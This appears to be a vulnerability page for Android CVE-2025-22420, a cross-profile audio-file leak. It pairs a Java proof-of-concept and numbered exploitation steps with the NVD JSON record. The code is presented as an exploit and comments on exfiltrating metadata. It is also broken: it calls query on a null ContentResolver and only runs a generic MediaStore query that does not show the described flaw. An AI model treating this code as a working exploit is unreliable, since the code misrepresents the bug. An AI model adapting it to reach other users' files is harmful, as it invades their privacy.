CVE-2025-22420

// CVE-2025-22420 PoC - Android Audio File Leak via Confused Deputy // This PoC demonstrates the concept of exploiting the confused deputy vulnerability // to access audio files from another user profile. // Note: This is a conceptual PoC for educational purposes only. // Actual exploitation requires specific Android device and user profile setup. import android.content.ContentResolver; import android.content.ContentUris; import android.database.Cursor; import android.media.MediaMetadataRetriever; import android.net.Uri; import android.os.Build; import android.os.Environment; public class AudioFileLeakPoC { private static final String[] AUDIO_PROJECTION = { android.provider.MediaStore.Audio.Media._ID, android.provider.MediaStore.Audio.Media.DISPLAY_NAME, android.provider.MediaStore.Audio.Media.OWNER, android.provider.MediaStore.Audio.Media.DATA }; /** * Attempt to enumerate audio files across user profiles * Exploits the confused deputy vulnerability in Audio File Manager */ public void exploitConfusedDeputy() { ContentResolver resolver = null; // Get content resolver // Query audio files - the vulnerability allows access to // audio files from other user profiles through system services Uri audioUri = android.provider.MediaStore.Audio.Media.EXTERNAL_CONTENT_URI; // The vulnerable query may return files from other user contexts Cursor cursor = resolver.query( audioUri, AUDIO_PROJECTION, null, // No proper user profile filter null, null ); if (cursor != null) { while (cursor.moveToNext()) { long id = cursor.getLong( cursor.getColumnIndexOrThrow(android.provider.MediaStore.Audio.Media._ID) ); String displayName = cursor.getString( cursor.getColumnIndexOrThrow(android.provider.MediaStore.Audio.Media.DISPLAY_NAME) ); // Access audio file content from other user profile Uri contentUri = ContentUris.withAppendedId(audioUri, id); // Extract metadata - potentially sensitive information MediaMetadataRetriever retriever = new MediaMetadataRetriever(); try { retriever.setDataSource(null, contentUri); String title = retriever.extractMetadata( MediaMetadataRetriever.METADATA_KEY_TITLE ); String artist = retriever.extractMetadata( MediaMetadataRetriever.METADATA_KEY_ARTIST ); String duration = retriever.extractMetadata( MediaMetadataRetriever.METADATA_KEY_DURATION ); // Log or exfiltrate audio metadata logAudioInfo(displayName, title, artist, duration); } catch (Exception e) { // Handle extraction errors } finally { retriever.release(); } } cursor.close(); } } private void logAudioInfo(String fileName, String title, String artist, String duration) { // Logging sensitive audio information System.out.println("Leaked Audio File: " + fileName); System.out.println("Title: " + title); System.out.println("Artist: " + artist); System.out.println("Duration: " + duration); } } // Exploitation steps: // 1. Create Android app with minimal permissions // 2. Set up multiple user profiles on device // 3. Place audio files in secondary user profile // 4. Run this PoC from primary user profile // 5. Observe that audio files from other profile are accessible

{"cve": {"id": "CVE-2025-22420", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:12.680", "lastModified": "2025-12-10T13:23:16.073", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to leak audio files across user profiles due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/fb8f76eca9079c34af3e14ee0a58bc10a580ec42", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}